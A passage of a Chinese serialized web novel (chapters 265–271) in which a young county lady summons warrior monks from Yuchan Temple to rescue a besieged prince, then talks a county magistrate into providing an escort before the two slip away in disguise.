他甚至能清晰地听到自己的颅骨碎裂的声音,温热的液体瞬间糊满了他的半边脸,红的、白的,让人眼前发晕。
他倒在地上,身体抽搐两下,便再也没了动静。
“呼……”晏逐星吐出了一口气。
搜了他的身,没找到令牌之类能证明身份的东西,但摸到了银票,晏逐星毫不客气地笑纳了。
她绕回了先前他们奔逃的入口。
果不其然,如她所料。
那些人的马还留在这。
她挑了一匹最好的马,策马狂奔。
她要去搬救兵!
救王爷!
*
谢翊宁和停云没有硬碰硬。
他们俩很清楚,以他们二人此时的状态,此刻和那几个人硬碰硬只有一个死字。
因而一剑破开了一个口子后,两人拔腿就跑。
谢翊宁一边跑一边吹响召唤的哨声。
他们只能赌一把看看附近有没有自己人了。
毕竟这个哨声也可能把敌人给招来。
好在老天还是眷顾他们的。
来了两个自己人。
“王爷当心。”赶来的贺松和曲杨拔剑迎敌,替他们挡下了一击。
停云和谢翊宁松了一口气。
身后的追兵如同附骨之疽,怎么也甩不掉。
他们真的跑不动了。
四对六,谢翊宁喘着粗气,当即做出决定:“不跑了,跟他们打。杀了他们。”
“是。”停云三人应声,当即拔刀对战。
跑了那么久,双方的体力几乎都要耗尽了,现在就是在拼谁的意志力更强。
几人咬牙对战。
眼看他们渐渐落了下风。
停云眼神一厉,与并肩作战的贺松、曲杨瞬间交换了一个了然于心的眼神。
无需言语,三人都看懂了彼此眼中毅然决然赴死的决心。
他们只要给王爷争取到一定的躲藏时间,山那么大,这些人搜山需要时间。
王爷甩开这些人藏起来,一定能等到县主回来救命。
县主向来说话算话,她一定会回来救王爷的。
“王爷快走!!!”
停云深吸一口气,猛地推了谢翊宁一把,力道之大让他踉跄出去几步。
“不——”
谢翊宁意识到他们要做什么,脱口而出。
但他没办法阻止他们。
眼睁睁看着停云与贺松、曲杨三人默契联手,在敌人挥刀砍来的瞬间,不退反进,完全放弃了自身防守,带着同归于尽的狠劲扑向敌人。
谢翊宁感觉自己的胸口像被重锤狠狠砸了一下,闷得喘不上气。
他几乎是凭着身体的本能,脚跟一旋,拔腿就冲了出去。
不能停!
他们豁出命给他挣来的机会,他不能让他们白白送了命。
他得活着。
他必须要活下去。
小恩人说了,一定会回来救他的,他绝对不能就这样死了。
第266章 人情有用吗
晏逐星没有折返去莘县,也没有去南乐。
她去了玉禅寺。
先前出逃时,她脑海里飞快闪过谢翊宁手中的那份舆图。
王爷规划路线时,她记得,在莘县去往南乐途中,有一个寺庙,名为玉禅寺。
她在心里估算了一番,如今到南乐约莫二十里,但是到玉禅寺只有十里。
策马过去,两刻钟的时间就够了。
求援,求的是火中取栗的生机,是刀下抢人的神速。
王爷他们可等不了那么久。
玉禅寺是座有度牒的正规大寺,有朝廷认证,里边有护法的武僧,就算是官府的人,擅闯也得掂量掂量。
最重要的是,玉禅寺的住持曾经欠过大哥一个人情。
如今情况危急,命悬一线,晏逐星别无选择,只能先借大哥这份人情一用了。
她紧咬牙关,策马狂奔。
两刻钟的亡命疾驰,几乎榨干了马儿最后的力气。
看清玉禅寺巍峨的山门那一刻,晏逐星激动地从马背一跃而下。
此刻山门紧闭,空无一人,唯有守夜的灯笼在风中摇晃。
她顾不上那么多,握紧拳头,照着那厚重的寺门就“砰砰砰”猛砸。
“棠云麒有难,求住持救命!”她的声音在寂静的夜晚显得格外刺耳。
片刻后,侧面一道小门“吱呀”一声开了条缝。
一个睡眼惺忪、提着灯笼的值夜小沙弥探出半颗光溜溜的脑袋,惊疑不定地看着晏逐星:“施……”
顿了顿,又道:“咦,是女施主。请问有何贵干?”
“我乃棠云婋,兄长棠云麒一年前曾护送贵寺慧真大师舍利子回寺!如今兄长命在旦夕,求住持念在昔日情分,出手相救!”
晏逐星快言快语地把事情说了出来。
上回他们兄妹二人相认后,彻夜长谈。
大哥告诉她,为了找她,他十五岁就跟着镖头走镖。
这几年的时间几乎走遍了大江南北,处处都有朋友,若是日后出门遇上难事,只管报他名号。
那天晚上,大哥挑了许多有意思的事情告诉她。
其中就说了一桩运送舍利子的事情。
玉禅寺的慧真大师在扬州圆寂,当地的僧人请他们走镖,护送那舍利子回玉禅寺。
原以为是件轻省的差事,不料途中竟遭歹人多次劫夺。
“也不知道那舍利子有什么好抢的,竟然那么多人来抢。”
大哥当时十分不解。
但货在人在,他既然答应了护送那趟镖,自然要说到做到。
因而他拼命护住了那舍利子。
为此还挨了两刀,这才将舍利子完好运回。
玉禅寺的住持,慧真大师的师弟慧心大师得知后深受感动,答应帮他寻找妹妹。
日后若有香客上香,一定替他询问有没有见过一个叫棠云婋的小姑娘。
只可惜,迟迟没有收到好消息。
因而晏逐星决定赌一把。
看看这个人情如今还作不作数。
就算不作数,出家人慈悲为怀,应该也不会袖手旁观吧?
小沙弥听到“棠云婋”三个字,瞪大了眼睛。
这个名字在玉禅寺可谓如雷贯耳。
住持交代过,若是遇见了这个姑娘,一定要带去见他。
“阿弥陀佛,女施主稍等。”
他瞬间睡意全消,像只受惊的兔子般朝寺内冲去。
他先撞开当值师兄的门,急吼吼地报了信。
师兄二话不说,撩起僧袍就往禅房跑,惊醒了正打坐的师父。
师父连鞋都顾不上穿好,趿拉着就直奔方丈院,硬是把刚刚入定的住持慧心大师也给推门唤醒。
不过半炷香的工夫。
“嗡!嗡!嗡!”
玉禅寺响起了浑厚急促的钟声。
寺庙里的僧人全都惊醒,他们意识到这不是平日晨课的钟声,而是玉禅寺的紧急召集令,当即迅速行动了起来。
殿前广场上,火把熊熊燃起,寺庙里的武僧已经全部集齐。
看着院内的二十多名武僧,晏逐星长长地舒了一口气。
太好了,他们有救了。
但旋即她的心又悬了起来。
之前只是想借兄长的名义先见到住持再求救,不曾想,玉禅寺僧人们的动作那么快。
只见戒律院首座慧刚肃立于前,声如洪钟:“慧真师伯舍利归途蒙难,恩人棠云麒遇险!救!”
数十名精壮武僧早已披挂整齐,他们整齐划一地回应道:“喏。”
戒律院首座看向晏逐星:“女施主放心,我们一定将令兄救回来。烦请女施主带路。”
晏逐星看着对方诚挚的眼眸,一咬牙,还是把实情说了出来。
此事危险重重,若僧人去了,不明不白地丧了命,她这不是造孽么。
“慧刚大师,需要获救的人并非我大哥。”
她把事情简单说了一遍。
不曾想,听到“永安王”三个字,慧刚大师当即变了脸色。
“女施主,速速带路!!!”他的语气比先前更急了。
谁不知道永安王是帝后的心头肉,若是得知他们见死不救,皇上还不知道要发多大的火呢。
而且,皇后娘娘给许州百姓捐十万两白银的粮食一事,已经传到了他们这里。
就冲着皇后娘娘这份仁心,他们也不能见死不救。
见慧刚大师这副反应,晏逐星顿时放心了。
早知道提永安王比提大哥还好使,她哪里用得着拐弯抹角。
晏逐星当即领着玉禅寺的武僧直奔先前他们被追杀的密林而去。
知道永安王现在正在被不明人士追杀,玉禅寺所有武僧都按照晏逐星的吩咐,没有直接喊出他的名字。
反而喊的是大哥的名字。
“棠云麒!”
“棠云麒?你在哪?”
一来,是为了麻痹那些追杀的人,让他们误以为来找的不是永安王。
二来,永安王知道她大哥的名字,听到这个名字,会知道是自己人来了,就不会再躲着了。
密林里。
康乐公主和睿王的人发现一下来了那么多举着火把的武僧,全都懵了。
棠云麒又是哪一号人物?
怎么从未听过?
难不成今日和他们一块追杀的,还有别的人?
第267章 找到王爷了
他们不敢再轻举妄动。
永安王藏得极深,如同山鼠入洞,杳无音信。
己方已有伤亡,再搜寻下去不过是白耗力气,他们决定先撤再说。
藏身于阴湿山洞的九栀和双鲤,骤然听到县主兄长的名号,心头猛地一跳!
巨大的惊喜瞬间冲散了逃亡的疲惫与恐惧。
“是县主!县主搬来救兵了!”
双鲤脱口而出,声音因激动而微微发颤。
九栀苍白的脸上也瞬间有了光彩,两人相视一眼,都从对方眼中看到了绝处逢生的狂喜。
先前她们逃跑时,被一个追兵发现了,九栀为了护着双鲤,胳膊中了一刀。
双鲤强压下心底猛烈翻涌的情绪,动作却不敢有丝毫迟缓。
她小心翼翼地搀扶起因受伤而脚步有些不稳的九栀,两人深一脚浅一脚地从那布满湿滑苔藓的山洞深处急切地向外攀爬。
洞口堆积的枯枝败叶被她们的动作带得簌簌作响。
当终于爬出那令人窒息的黑暗,重新接触到微凉的夜风时,双鲤立刻朝着声音传来的方向,用尽力气再次呼喊:“县主,我们在这。”
听到双鲤的声音传来,晏逐星浑身一震。
太好了!她们还活着!
一股难以言喻的狂喜猛地冲上心头。
先前在路上,那几具横陈在地、了无生气的熟悉护卫的尸身,如同冰冷的巨石压在她胸口,让她每一步都如履薄冰,唯恐下一刻映入眼帘的,便是双鲤或谢翊宁他们同样惨烈的结局……
此刻,这清晰的声音如同天籁。
滚烫的泪水毫无预兆地夺眶而出。
晏逐星再也按捺不住,跌跌撞撞地朝着声音传来的方向飞奔而去。
看到受了轻伤,只是有些狼狈的两人,晏逐星长长地松了一口气。
“我们也一块继续帮忙找人。”
九栀和双鲤不敢再离开主子一步。
先前那惊心动魄的场景,让她们终身难忘。
她们以为自己真的要死在这不知名的山林里了。
在几位武僧的保护下,晏逐星主仆三人继续寻找谢翊宁一行人的踪迹。
尸体。
还是尸体。
路上出现的尸体越来越多,几人的心也直直地往下沉。
直到熟悉的身影映入眼帘,三人如遭雷击。
“停、停云……”
双鲤跌跌撞撞地扑了过去。
怎么会呢。
她一个会三脚猫功夫的小丫鬟都活下来了,停云大哥这么厉害的人,怎么就……
怎么就死了呢?
不,这肯定是假的。
“哇呜呜呜呜呜。”
巨大的悲痛如同决堤洪水,瞬间冲垮了双鲤的理智。
她再也无法抑制,趴在停云的胸膛面前撕心裂肺地放声痛哭起来。
“咳……”
一声微弱的咳嗽响起。
双鲤哭得太大声压根没听到。
还是九栀眼尖,看到了停云微微颤抖的手指,惊喜地大喊道:“没死,他没死!”
哭到一半的双鲤打了个嗝。
呆呆地挺直了背脊,看向了停云沾满血污的脸。
只看见停云的眼睫毛颤抖了一下,然后缓缓睁开。
“停云大哥,你真的没死?!”双鲤惊喜万分。
停云微弱的声音传来:“现在还没死,但待会你再压一下,咳咳,就不一定了……”
双鲤吓得手忙脚乱地站了起来,无助地看向了晏逐星,
“县主,该怎么办?”
晏逐星上前检查了一下停云的伤势。
伤得很重,得快点找大夫治疗。
这时候她莫名想起了季行舟那句话——“不带上我,到时候看你们受伤怎么办。”
还真让他这个乌鸦嘴给说中了。
这下是真的缺大夫。
简单给停云包扎之后,他们将人抬到了担架上。
双鲤和九栀还有两名武僧将他一块送回了玉禅寺。
随后,晏逐星和剩下的两个武僧踏上了继续找人的路程。
沉重的脚步踏在泥泞湿滑的山径上,每一步都像灌了铅。
六月的雨季,让山涧的水流变得异常丰沛汹涌。
藏身于瀑布后方狭窄岩缝中的谢翊宁,意识在剧痛和冰冷的侵蚀下渐渐消失。
就在他几乎要彻底沉入黑暗时,他听到了熟悉的声音。
“棠云麒——!”
是小恩人。
这声呼唤如同在无边黑夜里骤然划亮的一星火种。
谢翊宁猛地睁开沉重的眼皮,张口回应,却发现声音被奔腾的水流声给吞没了。
声音越来越近,谢翊宁咬紧牙关,将身边一块石头抓起来用力砸了出去。
一定要让小恩人听到啊。
他在心里默默祈祷。
“砰”一声响。
水里落下石头的动静吸引了专注找人的晏逐星。
看着哗啦啦的瀑布水流,她心底陡然升起了一个念头。
永安王,会不会就藏在水帘之后?
“王爷?王爷?是不是你!”晏逐星大喊道。
然而没有听到任何回音。
就在她以为先前的动静是错觉的时候,瀑布后边又扔出来了一块石头。
晏逐星大喜过望,没有丝毫犹豫,纵身跃入冰冷的潭水中,奋力朝着瀑布游去。
她拨开厚重的水帘,挤进了后方那个阴冷狭窄,弥漫着血腥气的岩缝。
当她的眼睛适应了洞内昏暗的光线,终于看清那个蜷缩在冰冷岩石上的身影。
是谢翊宁!
一股强烈的酸楚猛地冲上鼻尖,她扑跪到他身边,声音带着无法抑制的颤抖,双手急切地捧住他冰冷的脸颊。
“王爷,是我,你答应过我的,不会死的。”
谢翊宁费力地抬起沉重的眼皮,涣散的目光艰难地聚焦在她脸上。
认出她的那一刻,谢翊宁紧绷的神经终于放松。
他脸上浮起了一抹熟悉的,带着一丝少年气的笑:“你看,本王答应你的事情,从不食言。我等到你了。”
话音刚落,他眼睫一颤,整个人便彻底失去了意识,软软地倒下去。
“王爷——!”晏逐星心脏骤停,魂飞魄散。
指尖传来的冰冷触感和骤然消失的微弱气息让她肝胆俱裂。
她立刻伸出手指冲他颈侧脉搏探去。
呼,还好,脉搏还跳动着。
想必只是彻底脱力昏死过去了。
巨大的恐惧和庆幸轮番冲击,让她几乎窒息。
“来人!快进来!王爷找到了!”
晏逐星猛地回头,朝着水帘外嘶声厉喊。
喜欢两眼一睁就是杀,都重生了磨叽啥请大家收藏:()两眼一睁就是杀,都重生了磨叽啥更新速度全网最快。
第268章 王爷他变了
不一会儿,那几个武僧就跳了下来,帮着把谢翊宁抬回了岸上。
“先回寺里,救人要紧。”晏逐星当机立断地做了决定。
众人对此毫无疑义。
剩下幸存的人也被其他武僧陆陆续续找到带回去了。
只有带着季行舟的护卫,不知道去了何处。
不过现在这个时候,没有消息就是好消息。
说不定他们已经逃出了密林。
眼下最重要的是救永安王。
众人将永安王抬回了玉禅寺。
来时两刻钟的路程,回去时却显得无比漫长。
回到了玉禅寺,慧心主持亲自出来救人,晏逐星在九栀和双鲤的催促下沐浴,换了身干爽的衣裳。
得知谢翊宁只受了些轻伤,晕厥是因潭水刺骨,加之一路奔逃、心力交瘁,力竭所致。
她这才放下心来。
强撑着的心神骤然放松,她倒头便睡。
一觉睡醒,已经是天黑。
睁开眼,发现谢翊宁坐在自己的床榻边上。
“王爷?!”晏逐星吓了一跳,赶忙掀开被子坐了起来。
“您怎么不好好休息?”
她的语气透露着三分焦急和七分担忧。
“本王无碍,倒是你,昨夜疾驰求援,辛苦了。”谢翊宁伸手摸了摸她的脑袋。
她又救了他一次。
“只可惜,还是晚了一步。”晏逐星有些沮丧地垂下头,声音闷闷的。
要是她再快一点,或许能活下来的人就更多一点。
“你已经做得很好。”谢翊宁一脸认真地看着她。
“如果没有你,昨夜我们都会死在那里。你救了我们所有人,你是大功臣!”
他心里已有了定论。
那些追杀他们的人,有一部分人使的是宫里暗卫营的看家杀招,亲王或者公主才能配有。
纵使他们一开始刻意改了招式,可骨子里刻着的路数在危急关头还是爆发了。
那是骗不了人的。
他已经传信回京,想必太子哥哥那边很快就能查清楚要杀他们的人是谁了。
“你放心,等回京后,本王一定让父皇母后重重赏你。绝对不会落下你的功劳。”
见她心情还是很低落,谢翊宁转移了话题。
“你有没有什么想要的?”
晏逐星顺着他的话思考了起来。
她如今大仇得报,又已经是县主之尊,开设的流光阁也有了皇上御赐的匾额。
富贵荣华,皆在掌中,她竟一时茫然不知还能要什么。
看她愣在那儿,谢翊宁瞅她的眼神就带上了几分恨铁不成钢。
这多好的机会啊!
怎么就不知道张嘴多要点好东西?
就算自己用不上,给家里人多划拉点也成啊。
这小恩人,还是太实诚了!
“行啦行啦,”谢翊宁大手一挥,砰砰拍了两下胸脯,“想不出来就别想了。本王替你琢磨,包管不让你吃亏!”
“啊!等等!”晏逐星像是突然被点醒了,“倒真有一件事,想请王爷……嗯,论功行赏?”
“哦?什么事?”谢翊宁立刻来了精神,身子都坐直了些。
要是他去找父皇母后讨赏,顶天了也就是给她从县主升成郡主,再赏些金银珠宝、绫罗绸缎。
也就那些玩意儿,每回赏赐都差不多。
总觉得差点意思。
还是她自己开口要最好。
“昨日求见玉禅寺住持,用的是我兄长的名号。”晏逐星迅速把棠云麒押送舍利子一事说了出来。
谢翊宁明白她的意思了。
她在棠云麒不知情的情况下用了他的人情,希望能给他争取一些赏赐。
“你想替你大哥讨赏?”
“嗯。”晏逐星有些不好意思地点了点头。
大哥人不在,替他要赏赐,还是有些心虚的。
思索片刻后,谢翊宁伸出两根手指在她面前晃了晃:“小事一桩,本王给你两条路选择。”
“第一条:舒坦!”
“我让父皇给他个正六品的武散官头衔,好听又体面。再加一座京城的宅子,城外好地,还有大把金银。立马就能当个逍遥富贵的官老爷,躺着数钱。”
“第二条:前途!”
“送他进国子监当武生。本王亲自保荐。他那身功夫和走镖的本事,进了国子监应该会如鱼得水。学个几年兵法武艺出来,那就是正儿八经的监生出身。这可是正经的将军路子。”
晏逐星心头一暖。
王爷给的两条路,都是好路子。
只不过一个现在舒坦,一个将来前程更好。
“多谢王爷,到时候我见到大哥了问问他,给您一个准信。”
“嗯,不急,你们慢慢考虑。”谢翊宁点了点头。
“对了,王爷,昨日追杀我们的那批人,您有线索了么?”晏逐星还是很在意这件事。
没办法,她这个人有仇必报。
仇人不死,她总睡不安心。
谢翊宁没想到她又把问题绕回了这件事情上。
他只得将自己的推测说了出来。
听他说完,晏逐星第一时间想到的是景王。
“但景王被贬为庶人,囚禁于王府之中,手应该伸不了那么长吧。”她小声嘀咕。
“不管是谁,他们一个都跑不了,我会让他们血债血偿。”
谢翊宁几乎是呢喃着说出这句话,声音轻得像怕惊扰了什么,又沉得仿佛坠着千钧巨石。
上一世,他安稳地活在京城里,是父皇母后捧在手心怕摔了,含在嘴里怕化了的珍宝。
他就算要天上的月亮和星星,都会有人立刻去搭梯子想办法替他“拿到”。
直到离二十生辰还有两个月,他才悄悄溜去了边关,想要让自己死也死得有价值一点,不想让父皇母后见到他临死的模样。
可即便到了那里,霍将军也把他当成易碎的瓷器护着,不让他上战场。
追杀?
保护他的人为他而死?
这些字眼,从前只存在于他看过的话本子里,和他本人的生活隔着千山万水。
谁敢动他,那真是老虎头上拔毛——活腻歪了。
就连他身边的猫走出去,都比旁人尊贵得多,哪个不长眼的敢擅动。
可那些倒下的身影,打碎了他过往那么多年理所当然的认知。
原来,这些追随他守护他的人,他们的命是会被外人给夺走的。
原来,他最受宠的身份离开京城后,非但不是护身符,反而会是催命符。
差一点,他不仅自己回不去,还要连累小恩人送命。
自责、懊恼、愧疚,无数心思浮上心头。
他闭上了眼睛。
从今往后,他绝对不会再让身边的人,因他而丢掉性命。
晏逐星有些担忧地看着他,她总觉得永安王身上有什么东西看起来好像和从前不太一样了。
谢翊宁睁开了眼睛,看见晏逐星皱紧的眉头,嘴角一勾,伸手就弹了一下她的脑门。
“赶紧给本王好起来,咱们出发去青州。”
“青州?不是说回京么?”晏逐星愣住了。
青州知府不是和临清知州同流合污,蛇鼠一窝么。
他们去青州,岂不是自投罗网?
第269章 不会毁容吧
“不回京城了。”谢翊宁摇了摇头。
“本王已经命人打听到了,他们要找的人是武康伯之子。”
他的嘴角勾起一抹近乎挑衅的笑容。
“可之后去青州寻亲的是烈国公义女,皇上亲封的令嘉县主。”
“那群人料定我们不敢再去青州,可我们偏要去,还要让官府派衙役护送,大大方方地去。”
晏逐星一瞬间就明白了他的意思。
那些人追杀他们的人只敢暗中行偷鸡摸狗的事,若面上有人护送,他们恐怕不敢轻举妄动。
而临清的知州只知道那日去血金笼的是两个少年郎。
届时她换回女装,戴上帷帽,让谢翊宁扮做护卫混在人群中,他们一定想不到那日在临清的是他们二人。
谢翊宁看向她,语气从容:“你好好在玉禅寺休息两天,本王会安排好一切,届时一定会让你平安无事地见到你的家里人。”
说到这,他顿了顿,转过身去,不想让晏逐星看到他此刻的表情。
“……昨日之事,本王跟你保证,不会再发生第二次。永远不会。”
晏逐星从他看似平静的话语下,听出了沉重的悲伤与自责,她心下一阵叹息,无声地点了点头。
上一世,身边的并肩作战的同袍战死沙场时,她也是这样的心情。
自责、悔恨。
自责自己无用,恨自己不够强大,恨自己为什么护不住所有人。
然后,一夜之间她就明白了很多道理。
不想失去身边的人,她就要付出加倍的努力。
所以她比谁都要努力。
重生回来,她亦是如此。
努力习武,努力挣钱,为的就是报仇,护住自己,然后护住更多在意的人。
一开始,她想护住的只有自己和双鲤,然后想要保护的人也越来越多,肩头的责任也越来越重。
想必谢翊宁从未经历过这样的事情。
这一次的事情,估计会让他一夜成长。
只是这个成长的代价,让他有点难以接受。
*
翌日睡醒后,晏逐星惊喜地发现季行舟也回来了!
原来,那日逃走时,暗卫鸣珂领着他直奔南乐而去,他俩躲过了后边那些惊心动魄地追杀。
他们在南乐找了个百姓家借宿。
安顿下来后,鸣珂等到天亮后,就回了密林寻找他们留下的暗号。
发现他们来了玉禅寺,得知王爷这边有很多人受伤了,他便马不停蹄地回去把季行舟带了回来。
“你们都不知道,百姓们知道我是大夫之后,对我有多热情。”季行舟滔滔不绝地说起了这两日的经历。
“我现在已经是槐花巷里最抢手的香饽饽,谁家有个头疼脑热,都抢着找我瞧病。”
“听闻我还未娶妻,一堆人抢着给我做媒。”
“你们是不知道,那些大婶大娘们有多吓人,恨不得把我给扣下当上门女婿。”
晏逐星听着他说的话忍俊不禁,眉眼弯弯道:“那你运气真是不错。”
“都是祖宗保佑。”季行舟赞同地点了点头。
“这回真是辛苦他们了。列祖列宗在地底下怕是求人跑断了腿才给我换来一线生机,回头我可得再多给他们烧点金元宝。”
见晏逐星脸上露出了两日来的第一抹笑意,谢翊宁心头松了一口气。
这姓季的还算有点本事,能逗小恩人开心。
但看着小恩人对季行舟笑得太开心,他又有些不高兴。
谢翊宁沉声道:“季行舟,别废话了,麻溜地给本王去处理他们的伤口。”
虽然寺庙里的僧人已经帮着停云他们处理过伤口了,还请了大夫,可那些人哪里比得过自小学医的季行舟。
“是。”季行舟赶忙应下。
他走之后,谢翊宁看向了晏逐星:“等会儿莘县的县令会亲自来玉禅寺见你。”
“啊?”晏逐星有些懵。
怎么只是睡了一觉。
她就跟不上王爷的步调了。
谢翊宁这才将昨日安排好的事情说了出来。
“那会儿你还昏睡着。本王便让人拿着你的印信去县衙报了官。你一个县主在他莘县地头上遇刺,借他十个胆子他也不敢不管。”
“昨日他们县里的县丞和典史就屁颠屁颠跑来了,拿着印信对了又对,扒着门缝儿问了好些话,总算把你身份弄明白了。今儿一大早,那县令就在外头杵着等你召见呢。”
晏逐星这才反应过来,这就是他昨天说的“要让官府派衙役护送,大大方方的去。”
“那我这样是不是看起来受伤不太严重啊?”晏逐星低头检查了一下。
“好像是。”谢翊宁托着下巴看着她,微微一笑,“没事,本王有法子。”
他命人取来了带血的纱布,迅速绑到了晏逐星头上,几乎将她大半张脸都给遮住了。
晏逐星看着镜子里只露出了眼睛和下巴的自己:“……”
“这看起来够严重了吧?”谢翊宁对自己的杰作十分满意。
晏逐星无奈地点了点头。
她坐直了身子,让自己看起来更有气势一些。
谢翊宁则戴上了面罩,站在了她身后。
双鲤这才开门,将莘县县令徐有德请进来。
徐有德缩着脖子走进来。
一进门,他扑通就跪下了,脑门磕在地上砰砰响。
“下官莘县县令徐有德,叩见县主!”徐有德的声音带着一丝哆嗦。
老天爷啊,他怎么那么倒霉。
回乡省亲的县主,怎么就在他的地盘上遇刺了呢。
那些刺客的尸体,他已经命人检查过来,一看就是狠角色。
也不知道这位县主招惹了什么人,竟然要派出这样的杀手置她于死地。
晏逐星没立刻将他叫起来,端起旁边小几上半温的茶水,慢悠悠地吹了吹。
这沉默让地上跪着的徐有德更紧张了。
他悄悄抬起一点头,眼神飞快地瞟过晏逐星脸上包扎的布条,心下一哆嗦。
这县主不会毁容了吧?
见晏逐星看向他,他吓得赶紧低下头直勾勾地盯着地面,不敢再抬头。
晏逐星放下碗,碗底磕在木几上发出轻响,吓得地上的徐有德又是一哆嗦。
第270章 要命的规矩
她冷冷道:“本县主路过你这莘县地界,光天化日,竟遭人截杀。要不是运气好,这会儿你该来给我收尸了。”
“在你治下发生这等事。若是传到烈国公府上……”
“县主息怒啊!”徐有德赶忙替自己辩解。
“昨日您的护卫拿着您的印信来报官,下官就立刻下令全城搜捕那些歹人了。如今已经在各处路口都设了卡。只恨歹人狡猾,一时还没抓到。是下官无能!”
晏逐星听完他这话,声音里的冷意退去了几分。
“徐县令,你昨日接到报信后的处置,本县主知道了。”
徐有德心里刚松了半口气,以为糊弄过去了,没想到晏逐星话头一转,又给他吊起来了。
“只是,歹人未抓获,本县主这心里终究难安。我这身子骨你也瞧见了,经不起第二次惊吓。但若迟迟不能抵达青州,或是路上再出点什么事,消息怕是瞒不住……”
看徐有德还跟个木头桩子似的杵在那儿,一脸懵圈不知道接茬,晏逐星只能循循善诱。
“这次的事,说到底,是流窜的亡命徒胆大包天。但若处理得当,让它变成一桩‘莘县衙门反应迅速、处置得力,成功保护了遇险县主并平安护送其至安全地界’的功劳岂不是更好?”
“本县主急着赶路,这莘县是待不住了。青州就在眼前,这一路上若是能有可靠的人手护卫周全,让本县主平安抵达青州就好了。”
徐有德终于反应了过来,眼睛迸发出明亮的光彩。
大虞地方官三年一考,他在莘县为官五年,新一轮的考评,已在眼前。
若是得了这位县主的人情,走通了烈国公府在京中的门路。
那他还愁挪不动位置么。
他终于醒悟过来,急切道:“下官立刻调集县衙所有精干衙役,一定选那最忠心、身手最好的组成护卫队。一路护送您……”
晏逐星在心底叹了一口气。
终于接话了,不容易啊。
她抬手打断了徐有德:“徐县令,忠心是好事。可你知不知道,大虞律法写得明明白白,县令擅离辖境,是僭越大罪。轻则丢官,重则问刑。”
徐有德如遭冷水浇头,瞬间清醒。
方才只想着立功,竟忘了这要命的规矩。
他脸色发白,嘴唇哆嗦着开口:“下官……下官糊涂!求县主指点迷津!”
晏逐星缓和了语气:“做事,得在规矩里头办。”
她手指头点了点桌面,条理清楚地开口。
“第一,赶紧给你上峰写文书。把我遇刺的经过、你设卡抓人的举措、还有我这伤情和急着赶路的情况,一五一十报上去。”
“第二,我会以县主身份,给你写个征调文书,就说为了保障本县主安全抵达青州,特调你莘县衙役若干名随行护卫,任务完成为止。”
“第三,你人给我老老实实待在莘县。但这护卫队……”
这下不用晏逐星说完了,徐有德主动接话:“下官明白。这护卫队绝对给您挑最好的人手,一切听您调令,保证安全把您护送到青州去。”
这么一来,衙役出县是奉了县主的命令,有白纸黑字的文书,不算他擅自动兵。
他坐镇县衙,抓贼、上报,都是本分。
等护卫队把令嘉县主顺顺当当的送到青州府衙……
那他泼天的富贵可就来了!
“县主放心,明日一早,下官一定给您把人凑齐咯。”徐有德恭恭敬敬地行了一礼。
“嗯,你走吧,本县主累了。”晏逐星摆了摆手。
她真不喜欢和这些当官的打交道。
累死她了。
她还是擅长那种白刀子进红刀子出的简单粗暴的“交流”。
“县主好生休息,下官就不打扰,先告辞了。”徐有德汗流浃背地来,高高兴兴地走了。
他走之后,一直安静呆在一旁的谢翊宁促狭地凑了过来打趣道。
“令嘉县主好威风,三言两语就把一县县令给糊弄住了。佩服佩服。”
“既然知道我是县主,那你的规矩呢。”晏逐星见他一身护卫打扮,忽然玩性大发。
板着脸训斥道:“本县主渴了,有没有点眼力见,还不赶紧给我倒茶。”
谢翊宁一怔。
除了父皇母后,还没有人敢用这种语气跟他说话。
见他愣住,晏逐星忽然意识到自己僭越了,赶忙道:“王爷,我,我错了!”
她在心里反省自己。
当了王爷几天救命恩人就得意忘形了是吧。
伴君如伴虎这点道理都不记得么。
谢翊宁见她这拘谨的模样,反倒笑了起来,上前给她倒了一杯茶:“做得很好。”
“接下来的行程,你是县主,我是护卫,你这气势保持得不错。就得这样,才震得住那些人。”
他将茶双手递给了晏逐星,而后冲她眨了眨眼睛:“县主请喝茶。”
这一句话把晏逐星臊得脸都红了。
但她还是强装镇定,接过茶喝了一口,然后点了点头:“嗯,这茶不错。当赏!”
然后她摸了一下怀里,想把银票掏出来打赏,却发现自己身无分文,穷得可怜。
她抬头看向谢翊宁,干巴巴地准备说些话自己找补。
就看到谢翊宁自己掏了一张银票出来,浮夸地在空中晃了晃,大声道:“多谢县主赏。”
这下晏逐星是真的没憋住,笑出了声。
看着她笑出来,谢翊宁眉眼也忍不住跟着弯了弯。
哼。
不止季行舟能逗她笑,他也能。
笑过之后,晏逐星说起了正事。
“王爷,只让莘县县令派人送我们去青州,能行吗?”
“放心吧,本王还有别的安排。”谢翊宁淡定地回答。
吃一堑长一智,他不会再在同一个坑里犯错。
第271章 玩金蝉脱壳
翌日。
徐有德果然说话算话,调了五十名衙役护送他们前往青州。
看着戴着幂篱的令嘉县主,在丫鬟搀扶下稳稳坐进了他特意备好的垫得又厚又软的马车里。
徐有德那颗悬着的心,才算是“咕咚”一声落回肚子里一半,剩下那一半,得等到了青州才能踏实。
也不知道他这番准备,县主满不满意?
他一把扯过旁边的心腹张正钦,压低了嗓子:“正钦啊,大人我这一辈子的前程,可全押在你这一趟差事上了!”
他死死盯着张正钦的眼睛。
“记住喽,县主就是你的命!她少根头发丝儿,你我都得玩完!你给我平平安安、完完整整地把她送到青州府衙门口!听见没?”
张正钦挺直腰杆抱拳道:“大人放心!人在路在!属下就是豁出这条命,也必保县主周全。绝不给您丢脸!”
徐有德用力拍了拍张正钦的肩膀,露出一丝欣慰的表情。
随后又冲着那辆紧闭的马车厢拱了拱手,声音拔高了些,带着十二万分的恭敬:“县主一路平安!下官在莘县,翘首恭候您平安抵青的佳音!”
马车里传来一声淡淡回应:“嗯。”
张正钦不再耽搁,眼神锐利地扫过整支队伍。
“都给我打起精神来!前车开道,左右护卫,后队压阵,眼睛放亮点儿!出发!”
“是!”衙役们齐声应和,声音不大,却透着一股子杀气。
车夫一甩鞭子,队伍出发了。
徐有德站在玉禅寺的石阶上,一直目送着队伍消失,这才打道回府。
他前脚刚走,后脚就有两个身影从寺庙后门钻了出来。
正是谢翊宁和晏逐星。
两人早已换了行头。
谢翊宁一身半旧的靛蓝棉布短打,腰间束着一条深色布带,脚上是一双普通黑布鞋,看起来和那些在外行商的小贩没什么区别。
晏逐星一身靛青粗布衣裳,上身是交领短袄,下身配素面褶裙。
她把头发全拢向脑后,盘成一个简单的圆髻,用普通的木簪固定,再紧紧包上一块半旧的藏青色头巾,只露出小半张刻意涂得有些暗黄的脸。
两人身上背着粗布包袱,手里各牵了一头骡子。
晏逐星低声道:“九栀她们走了。”
这一招,玩的是金蝉脱壳。
